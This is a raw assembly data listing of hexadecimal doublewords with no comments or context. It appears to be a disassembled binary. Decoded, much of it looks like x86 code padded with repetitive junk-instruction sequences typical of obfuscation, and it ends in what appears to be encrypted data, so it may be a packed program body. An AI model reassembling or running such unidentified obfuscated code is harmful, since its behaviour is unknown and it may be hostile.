		dd 8B570000h, 0A60899BDh, 0BD835F06h, 6A9B6A3h,	1D840F00h
		dd 29000000h, 0A60A09BDh, 2DE906h, 8A0F0000h, 0Ch, 6850Fh
		dd 0BD8B0000h, 6A60585h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3695C356h, 45BA7DD8h
		dd 6A1FDEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0CD4102C3h, 0BF13D88h, 0A600319Dh, 6E906h
		dd 0C61E0000h, 2C4A8624h, 0BE9BD83h, 0F0306A6h,	46985h
		dd 0C19D8900h, 0F06A609h, 387h,	0FEB70F00h, 0B6A3BD83h
		dd 0F0006A9h, 44D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0A1BD3308h, 0FF06A609h
		dd 0A9B6A3B5h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 76C428DBh, 0F7816611h
		dd 81665417h, 0FF1119D7h, 0A60C1D95h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0D0EC93DBh, 0B6C6106Eh, 1901BD8Bh, 9D8B06A6h, 6A61475h
		dd 864DE781h, 0B58B18DAh, 6A9B697h, 12859D89h, 6C706A6h
		dd 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	8DC35545h, 0F730B9B1h, 60C8FC75h, 0DCF78160h, 897E44F1h
		dd 0A62C9D85h, 0BD0B6106h, 6A61E1Dh, 8B669661h,	7E950FEh
		dd 22000000h, 9378A99Fh, 66968B9Bh, 0CA92C781h,	0B6A3B5FFh
		dd 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A00700C3h, 0F98B6641h, 29D195FFh, 0D38006A6h
		dd 97B58B0Ah
		dd 6A06A9B6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3660C352h, 10E911BDh, 0C5000000h
		dd 66048BB7h, 204A22DFh, 0C465ED18h, 0E8AB825Dh, 6, 0EF7AE4E8h
		dd 8166F850h, 5B0CE7EFh, 769858Bh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C7609C3h
		dd 0E96C0AEEh, 12h, 0C8C66AC7h,	6DA8B807h, 9F676B44h, 4EA91D44h
		dd 86895903h, 0C4h, 6AD958Bh, 0BF6606A6h, 0C283F4E8h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F28D0D6h, 820FFBB7h, 6, 1814D381h, 50894A16h, 50006A20h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8DF9FBACh, 0A9CA6B85h, 0D0F78106h, 8962BBEAh, 0B886h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8964FAEAh, 0A62BA185h, 318D2906h, 6A06A607h
		dd 2DB58900h, 0FF06A604h, 0A9B6A3B5h, 8D858906h, 0F06A62Ch
		dd 95FFDAB7h, 6A6066Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 26C35040h, 542166FEh,	0B70FCF55h, 26B750FEh
		dd 0BF243489h, 5094C5FBh, 0B6A3B5FFh, 6A06A9h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0CFF1CC3h, 2360B1F7h, 0A62C79BDh, 0C5858906h, 6106A605h
		dd 0B559531h, 95FF06A6h, 6A60A15h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0DEC35646h,	74DA96EAh, 0A37636BBh
		dd 145BD8Bh, 0BD8306A6h, 6A62B29h, 39840F00h, 66000000h
		dd 1AF3F781h, 6E996h, 15D90000h, 9F3B3AC9h, 810F50h, 96000000h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6FC35242h
		dd 219241C1h, 0B6A3B5FFh, 6A06A9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 95FF71C3h, 6A61D55h
		dd 7318D89h, 0B58906A6h, 6A62A15h, 0B6A3B5FFh, 0BD8B06A9h
		dd 6A6097Dh, 2AD995FFh,	6A06A6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0D564D3C3h, 33A82460h
		dd 0A62CB5BDh, 83FA8B06h, 0A62CF5BDh, 840F0206h, 57h, 0E9DF8B66h
		dd 14h,	0E9A13368h, 8AB8C973h, 9A7E50C5h, 0F9E6B835h, 95FF120h
		dd 1841858Bh, 810F06A6h, 20h, 14E8h, 6B78D100h,	0BB66A88Bh
		dd 7B23A428h, 0BFAEA0AEh, 40D678F6h, 51D381E0h,	5B792CDCh
		dd 5A59D8Bh, 0C606A6h, 0E1B58900h, 0C706A62Eh, 0A62ED185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0C8AC0479h, 0CF81B13Dh, 1C94253Ah
		dd 2C35BD2Bh, 3E906A6h,	6AFFFFF2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5196C353h
		dd 11E9h, 7A6C0700h, 9B1C5CA7h,	94718982h, 1BB4829Ch, 0C18B32B4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1FC35242h
		dd 18B0D299h, 0DE068E5Dh, 0FE8B661Ah, 2CAD858Dh, 6A06A6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 4552DAC3h, 58632CE6h, 0BF66AD31h, 0E850CDFBh, 11h, 0C18F3497h
		dd 46064661h, 3CB83BADh, 7DA6EDEBh, 66525068h, 310FFA8Bh
		dd 310F5250h, 585A585Ah, 2404895Bh, 6AF8B70Fh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 65386C8Dh, 23B90261h, 11B589FEh, 6A06A632h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0A97B741Ah, 0B3563FACh, 35858D10h, 6A06AADEh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 32FFC351h, 0AFF27224h, 5C08303h, 1DB5BD8Bh, 665006A6h
		dd 89F644BFh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B8C4FAC3h, 0D8FF88FFh, 6D78166h
		dd 9D2956F0h, 6A62965h,	8B006A5Fh, 0A60569BDh, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 6A6C357h,	85A800A6h, 8B89C62Dh, 4595FFFAh
		dd 3106A612h, 0A613A19Dh, 0FF8D8D06h, 0B706A994h, 66D1FFF7h
		dd 0F4B0F781h, 1451BD83h, 0F0106A6h, 7C85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 940E593Ah, 743DF81h,	26A58DEh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 2BC35040h, 0A4B55441h, 8B66901Eh
		dd 0BB6650F8h, 6A90006Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8A9CC355h, 33BF66B1h
		dd 6D95FF19h, 8B06A606h, 0E59E9FAh, 0E80000h, 5D000000h
		dd 0DE3FED81h, 6A06AAh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 9252C9C3h, 4A992794h, 0C9B58975h
		dd 6A06A629h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5D58C351h, 7D4FAF4Eh, 46FF1657h
		dd 6719589h, 858D06A6h,	6A9864Ah, 1840Fh, 50FC0000h, 0DBF5250h
		dd 0F56C5C3h, 0B266BB31h, 585A28E5h, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8088C357h, 0FF64FEDBh, 35h, 0A9B58900h, 6406A634h, 2589h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0C6F436C3h, 0BDBEB22h, 0C59D8BEBh, 0FF06A62Ch
		dd 0A6126D85h, 0AABF6606h, 6AFF6A24h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A14FC357h
		dd 63C3EA2Dh, 0C22879A1h, 32519D8Bh, 0B5FF06A6h, 6A61155h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EEC35747h
		dd 0D48C44B0h, 6A108220h, 68D0Fh, 8D890000h, 6A61055h
		dd 116D95FFh, 1AE906A6h, 60000001h, 2BAD9D31h, 8D3106A6h
		dd 6A628C1h, 8B00B061h,	0A61E799Dh, 8170E606h, 245115CFh
		dd 0F3816602h, 71E45D65h, 613CD98Bh, 0EB830Fh, 81660000h
		dd 0F0670EFh, 0F780C8B6h, 6BA5Ch, 0BD890000h, 6A6139Dh
		dd 5860Fh, 91BF0000h, 8B5E3EDDh, 22BF66C1h, 4E8C18Ah, 0F8E2F766h
		dd 820FC82Bh, 6, 2ED5BD8Bh, 0D18B06A6h,	0AA1B529h, 0A2E906A6h
		dd 8B000000h, 4858BDFh,	0B3000000h, 7C083E6h, 0C18B6660h
		dd 0A681E281h, 8B6132A0h, 0A62A45BDh, 0C08306h,	0FD03BF5h
		dd 1883h, 499D8B00h, 5206A62Eh,	0BD9BD8Bh, 0E95B06A6h
		dd 65h,	57E78166h, 0FF8D8B63h, 66FFFFFFh, 0E183D88Bh, 4E840F01h
		dd 0E9000000h, 11h, 0A5CE12C5h,	6DCA2BC0h, 0C13D989Eh
		dd 960EEB07h, 0FFA583A6h, 0FEFFFFFFh, 0CE8h, 0FA5A1D00h
		dd 0F3BA9B74h, 71C02BA6h, 25B5890Dh, 5B06A61Ah,	49589h
		dd 9E90000h, 0E7000000h, 13A5F3CFh, 81E405E0h, 0E9h, 54B58D00h
		dd 0F06AA5Dh, 6AF9BFh, 96D9501h, 95FF06A6h, 6A62959h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8C35646h
		dd 0CBE583FBh, 68D0Fh, 0B5890000h, 6A63485h, 0F62B9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0CF9B07B1h, 0E1837367h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 89F9F152h
		dd 1DBD891Eh, 0FC06A61Eh, 8898501h, 0B9BF06A6h,	0B86095F3h
		dd 0
		dd 0BAF8h, 95290000h, 6A60DE5h,	0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	6FC35545h, 6AFFBF0Fh, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0D5FC356h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EDC35343h, 0DE72981Dh
		dd 0B53DE2Eh, 0A631399Dh, 0FD8A5F06h, 6AD958Bh,	6A06A6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 2DB2D0C3h, 624516BDh, 0BD332F8Fh, 6A60901h, 40D8D8Bh
		dd 5E906A6h, 2C000000h,	2388A375h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 7E99AC3h, 0A4000000h
		dd 0FE5D886Dh, 8C0F79D3h, 18h, 13E9h, 55FE0700h, 9B6A7AF1h
		dd 0A1835700h, 0CD410219h, 0D2F13D88h, 81F9B70Fh, 37CFCDF3h
		dd 0DDBD8305h, 6A60Fh, 56840Fh,	890F0000h, 0Bh,	58B0Fh
		dd 81660000h, 0B85C9AEFh, 0
		dd 8FD9529h, 8D8D06A6h,	6A64F55h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 14C35242h, 0DB639D6Fh, 18D9BD29h
		dd 0E1FF06A6h, 15719D8Bh, 9D3306A6h, 6A62D31h, 0BE9BD83h
		dd 0F0006A6h, 41584h, 0B1D38100h, 8354C3C2h, 0A60BE9BDh
		dd 840F0106h, 41Dh, 14999D8Bh, 8B6606A6h, 0E9BD83F9h, 306A60Bh
		dd 3D1860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3C56CDC3h, 0A3043669h, 998589C9h
		dd 6006A62Bh, 68A0Fh, 0BD0B0000h, 6A60521h, 81D98C66h
		dd 0A882DDDFh, 4E1803Ah, 840FC90Ah, 1A9h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 0D3C35343h, 258EBADCh
		dd 6AB8295Eh, 0CDBD8BD1h, 8B06A62Fh, 0A615DD85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0D8D54C4Ch, 56B96660h, 819D893Bh, 6106A62Ah,	209D8533h
		dd 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0F449F6C3h, 59D238F3h, 0FFC62F6h,	687h, 0B9858900h
		dd 9006A615h, 0CE9h, 91B1D500h,	297AF661h, 0C5BEBCFCh
		dd 8B66504Ch, 666090DAh, 5153C0BEh, 0FE8h, 7D0A3900h, 0B22DB9E4h
		dd 0F4D807A8h, 8968B5F0h, 66615A58h, 6ADA8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D0C35141h, 2C159D8Bh
		dd 0A66806A6h, 60A33DCEh, 8A0F51h, 5B000000h, 9E8h, 10033700h
		dd 6FD1BC45h, 61597850h, 59240481h, 6A5CE135h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1A3CC356h, 0A221F6Ch, 9D8BF108h, 6A615ADh, 0B3595FFh
		dd 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 39C818C3h, 459589D8h, 8906A609h, 0A9B6A385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0AE8BEh,	88220000h, 71060B28h, 48CD819Bh
		dd 0F05BD8Bh, 0E95F06A6h, 184h,	333084BFh, 9B858B7Fh, 6A06A9B6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 3098C351h, 36DC2F1Ch, 0E9561751h,	11h, 72555913h
		dd 5F605659h, 0F07656Eh, 0E07EF6CDh, 0C75BC6h, 18h, 14B58529h
		dd 0B58B06A6h, 6A9B69Fh, 0DA16F2BFh, 0D9858B70h, 6606A62Eh
		dd 97E9CF81h, 0D88B0689h, 15DD858Bh, 0BD8906A6h, 6A61C2Dh
		dd 4689DF8Bh, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0BD9910A7h, 0BBA91CAAh, 5F94163h
		dd 5096B396h, 0E8605250h, 13h, 6EFE5EA0h, 0B8A62ED6h, 0E852B41h
		dd 87439508h, 5B1B2A3Bh, 0F616160h, 0AC28BB31h,	585A734Ch
		dd 81665396h, 5F165BE7h, 0B69BB5FFh, 6A06A9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5D28EAC3h
		dd 4F7327DEh, 2682CF1h,	575AFB4Ch, 17F7BF66h, 2434815Bh
		dd 5AE44FFDh, 5F3BB750h, 0B6A3858Dh, 6A06A9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DA249AC3h
		dd 0AA7CD00Ah, 0FAE5785h, 6690FEBFh, 50D94FBFh,	5E9h, 7DB20000h
		dd 8990EA1Ch, 0A62C35BDh, 3595FF06h, 6006A60Bh,	0F8B0Fh
		dd 0AE90000h, 0B1000000h, 40679661h, 0F2775E0Bh, 5E9E2h
		dd 0B52C0000h, 61E4250Ch, 0F88B6661h, 0DE9h, 0EA6D9E00h
		dd 0B43E8A83h, 7BE4C757h, 85C78AB9h, 6A60BE9h, 3, 83A5D780h
		dd 0A9B6A3BDh, 840F0006h, 2Fh, 14458D89h, 3FE906A6h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0AE1BC353h, 21BD0B80h, 5006A633h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0C079C9C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F4C35343h, 0CCDEE026h,	6E91EF9h, 13000000h, 6DC2866Ch
		dd 0E9BD8326h, 306A60Bh, 491850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 6D57AAC3h
		dd 0B6A3BD83h, 0F0006A9h, 46684h, 0C9958900h, 8A06A613h
		dd 0A3B5FFDEh, 6A06A9B6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 292AC352h, 0EBDEF90Ch
		dd 912C5C17h, 0FFFAB70Fh, 0A60C1D95h, 8B27B306h, 0A9B697B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6C73A14h, 10001h, 96DE8B66h, 5050C6B7h
		dd 11E952h, 0AB1C0000h,	5DEA1FE4h, 0D27D8018h, 71F4976Ch
		dd 0F557219h, 5A58B731h, 6A9658h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 2C8DBC3h, 3E8D381h, 6EB70D1Eh
		dd 2D6D9D8Bh, 0B5FF06A6h, 6A9B6A3h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 32C35343h, 210EFC53h, 267D9509h
		dd 95FF06A6h, 6A629D1h,	0A6C3D5BFh, 79958972h, 8B06A613h
		dd 0A9B697B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 41B011A0h, 77DF2173h
		dd 8A0FD63Dh, 8, 0F18D8952h, 5F06A611h,	8E9h, 1E2D6D00h
		dd 0A5D3C0Ah, 69858BB9h, 6A06A607h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0BB97C355h
		dd 27C2F04Bh, 1AC18D89h, 0EE906A6h, 0C9000000h,	500C4A66h
		dd 62DFA61Fh, 99169F1h,	0C4868914h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 1FB1C351h, 0FD3188D1h, 7E91E6Bh, 50000000h, 0C7B8FC45h
		dd 8BF5307Fh, 0A606AD95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 8254680Ah
		dd 0EF81663Ch, 0C283B49Ah, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F57B20A3h
		dd 9DFABD69h, 9D030880h, 6A60B31h, 3271B589h, 508906A6h
		dd 53006A20h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 18589BDh, 0E906A61Ch, 14h, 0A6E69FF9h, 77BE5EE0h
		dd 664AE052h, 6325A575h, 0D3F837E3h, 0CA6B858Dh, 958906A9h
		dd 6A613C9h, 0B88689h, 11E90000h, 2F000000h, 0A95FD18Ch
		dd 40A13838h, 0F9A80405h, 2AD04842h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D38054C3h
		dd 0A3B5FF5Ch, 0B706A9B6h, 6D95FF78h, 6A06A606h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 5E34C353h, 880F50AAh, 2, 348956B3h, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 8BB7C58Bh, 0FFDF6604h, 0A9B6A3B5h
		dd 8830F06h, 53000000h,	4059D8Bh, 0FF5B06A6h, 0A60A1595h
		dd 833CB706h, 0A62B29BDh, 840F0006h, 10h, 2A3D9D89h, 665006A6h
		dd 8911E3BBh, 0DE8B2434h, 0B6A3B5FFh, 6A06A9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 58A26CC3h, 74682A16h, 0EB8166B1h, 95FF9E9Fh,	6A61D55h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 33C35040h
		dd 603C07BCh, 12E95B51h, 43000000h, 4EB6D26Fh, 99884912h
		dd 55C34485h, 0B07DBEA4h, 0B5FF613Dh, 6A9B6A3h,	4AA2BBh
		dd 719D896Fh, 0FF06A61Dh, 0A62AD995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0FAF3CED8h, 6880Fh, 0B5290000h, 6A6298Dh, 12FD9529h
		dd 0BD8306A6h, 6A62CF5h, 6C840F02h, 8A000000h, 0E5BD23F8h
		dd 8B06A61Dh, 0A6184185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 5FB4A632h
		dd 0C65852h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 2FEAE15Bh, 29B5893Ah, 0F06A606h
		dd 0D80h, 8E900h, 0E9FE0000h, 0A5365842h, 0C7F50438h, 0A62ED185h
		dd 6, 0E9FA8B00h, 0FFFFF305h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 64C35242h, 17D114FEh, 0B5093AB2h
		dd 6A62A81h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B2BB80C3h, 28758B56h, 0EE8h, 98EB00h
		dd 0ABABE1AAh, 9A51E3E5h, 0E9C3991Eh, 12h, 0F685232Eh
		dd 0B2B1A486h, 1F6A8644h, 0ACA8A110h, 0E95B812Ch, 23h
		dd 6E5D22EFh, 7	dup(0)
		dd 0E9000000h, 5A9h, 9D28C29Bh,	0C35EB4B2h, 308D6744h
		dd 6CB95715h, 5CE93F21h, 1D07B00Dh, 10D77ECBh, 0F9E4A3FEh
		dd 0B7AB922Fh, 0DC62C05Dh, 6605D67Bh, 47ADD833h, 5220CA98h
		dd 69875B1Eh, 5F45F0CBh, 40F9D5F1h, 78B5630Dh, 31C200FCh
		dd 0E31BB1BEh, 0EA002291h, 0A44E1CB3h, 729C4A85h, 0C2D3D4BDh
		dd 0F9A09C9Ah, 3BE91B07h, 21CF9E27h, 0B25DF835h, 5086A916h
		dd 6D86B529h, 7335CC52h, 7E9F887h, 35807C66h, 0C1E2670Ah
		dd 30D3722Bh, 6F1E0AE6h, 0BEEF0120h, 8CBD5717h,	52297E16h
		dd 0CB74349Ch, 5B43FA14h, 32026B4Ch, 0B47C6A10h, 69B1DF5Eh
		dd 0F026C91Bh, 22C89AA5h, 0DEAED87Bh, 85A835CCh, 0C59B2A53h
		dd 31FD722Bh, 0CDD542C3h, 939833B7h, 5BD7F0FEh,	5B000000h
		dd 3C6D875Bh, 60812AB0h, 7635CCE9h, 0DE75C69Ch,	0C35CCE9h
		dd 0B168EC26h, 0F0F0FEA4h, 6, 0DE7FB60h, 835B3B77h, 0C99D3069h
		dd 41C94523h, 34A32F91h, 3F56F78Dh, 3EA6C729h, 14D20072h
		dd 0C6E4A3FEh, 0C7E5422Ch, 0F48E7029h, 5514B3BDh, 6811FBE8h
		dd 0FFE39A76h, 0DD7A2D65h, 5945E432h, 4E98840Bh, 4FF6F01Fh
		dd 0E584709Ah, 8A58AA64h, 5AE530E6h, 0B53B6288h, 0AE18C059h
		dd 213364E1h, 7B68D192h, 1AF6E891h, 27DF5563h, 514E5AD8h
		dd 0A1710334h, 0B04CD753h, 0B28BF0FEh, 37000000h, 16FB95Bh
		dd 0E630DC7Bh, 0CCE93C55h, 0BAC82235h, 229E50Bh, 6440ECE3h
		dd 0F0F15E14h, 0B57D631Ah, 0DD50AC5Fh, 3B6F335Ch, 872C8FE9h
		dd 0A935CC72h, 0F09C2331h, 80ACEB26h, 721EB324h, 0F90035CCh
		dd 7C6607EDh, 5AF59480h, 0F3C5648Ah, 34D68985h,	739BF9B8h
		dd 47C331E1h, 0F0FEECDCh, 8FFBh, 0B95BA700h, 525A076Bh
		dd 0D3CF7E94h, 191C5FE3h, 2ED17C2Dh, 5D0E41F8h,	0AEF112C5h
		dd 0BE735CCh, 2276E1Fh,	5B49D5ECh, 0E9C5098Bh, 7E941CB0h
		dd 0E01218FFh, 0A8DC0E32h, 0E1C46826h, 67C15C48h, 4D57ED9h
		dd 0EBDB35CCh, 7596D5B8h, 0E1736F4Ah, 57FC7AA1h, 0B3D07BADh
		dd 0A535CCE9h, 0DE88374Dh, 7CDB1534h, 0C391876Dh, 8A41D847h
		dd 61F3EF9Eh, 0CC65B0DEh, 46BC6635h, 678C2FB5h,	1935CC65h
		dd 1BF7A076h, 2875AC49h, 134F0FEh, 0FE000000h, 0DBB18A7Ah
		dd 0F1737BBFh, 5F37E85Dh, 416C4D35h, 100CF697h,	6ECFD42h
		dd 0D03A2867h, 699B67A9h, 0C5133D9Ah, 2746ACBAh, 491AA9BBh
		dd 6D6816A3h, 0DD65D690h, 0E13EB2AEh, 2D3D5009h, 403CD694h
		dd 72984AF5h, 73A54FF4h, 0E60D4CE1h, 0E4336A4Eh, 0D07F2EF8h
		dd 0C243FA2Ch, 5C33B2C0h, 0FCEE3C56h, 4E5EF364h, 6A40336Ah
		dd 7D1CF07Eh, 0FED87376h, 0F4DEA096h, 0F7E332F1h, 4919247Dh
		dd 221EF0F0h, 4A9DC844h, 0B80BDEF3h, 6FF57BAAh,	6A1EA7CCh
		dd 61514933h, 0D7E1080h, 0C64D0731h, 0AC600EE4h, 0A6EFF7E9h
		dd 6BDAA8AEh, 0BDEC0624h, 83BA5012h, 0CE4F454Dh, 0E331434Fh
		dd 9C9815FFh, 0B306BD60h, 0AFA578ABh, 58E59B36h, 144DAF6h
		dd 7A580000h, 0B9E00EDDh, 6C70F45h, 0C8F6610Fh,	0DE3EB2FEh
		dd 580A45E4h, 52F967B2h, 58E77D93h, 9639608Ah, 0E0F3ED4h
		dd 0EDC0E04h, 0FC8C2596h, 3892336Ah, 0C877F14Ch, 8461F325h
		dd 0F658B16Dh, 792Ch, 0E71C9600h, 0E94AE750h, 665C35CCh
		dd 5914F8Eh, 0D8B4DBDEh, 0F4FC109Eh, 0C879D2A5h, 0DE35CC28h
		dd 0FE960CE4h, 7EB3045Eh, 60B5CC7Fh, 9DE709D9h,	25DB538Ah
		dd 0BE205935h, 0CB789BC2h, 0E3B5CCC0h, 8E6C66Dh, 0CB176D51h
		dd 56B72CB9h, 0E8DDF487h, 0EB4C2A1Fh, 0B5CC2346h, 0D8867268h
		dd 13ABA252h, 0E5B82FE1h, 9E15780Dh, 2A389C38h,	0CC2D18E9h
		dd 0D9544E35h, 8957h, 0E11C0B00h, 2E740720h, 0F1E2D238h
		dd 0B1BFABDFh, 0B2C4C006h, 0D3C963Eh, 6C0AE0C2h, 780ADCC7h
		dd 0A64C1E39h, 0CB284487h, 3C2E336Ah, 1148A685h, 4588B1ADh
		dd 0F6D18866h, 7047C63Ch, 0C89A48BAh, 0CB4AE750h, 665C336Ah
		dd 96573F8Ah, 0B146F17Fh, 47381FB7h, 15B2326Bh,	1AA9BB51h
		dd 54FBA248h, 8CC37A94h, 0FA1534DEh, 655900D6h,	69E81A14h
		dd 491E32Fh, 89224CC9h,	33E89A84h, 913E3892h, 977D6ED3h
		dd 42100CF6h, 0E11CF30Fh, 0EC913A24h, 8A3EB995h, 45D75314h
		dd 46328A40h, 10FAE827h, 7E63C856h, 4209F594h, 33665F21h
		dd 0C889DB37h, 0E9779D4Dh, 5F5BC863h, 554D3366h, 0C36BAE1Fh
		dd 0AA9A6E0Fh, 0A84267CCh, 0AB770DF1h, 3DD78B59h, 3FE99433h
		dd 6F6D8631h, 87735A6Eh, 0D989B4CDh, 0E5FB0A33h, 1033520Bh
		dd 4468A7C6h, 5E0FE5C1h, 70D18864h, 0BBC544BEh,	13D7057Fh
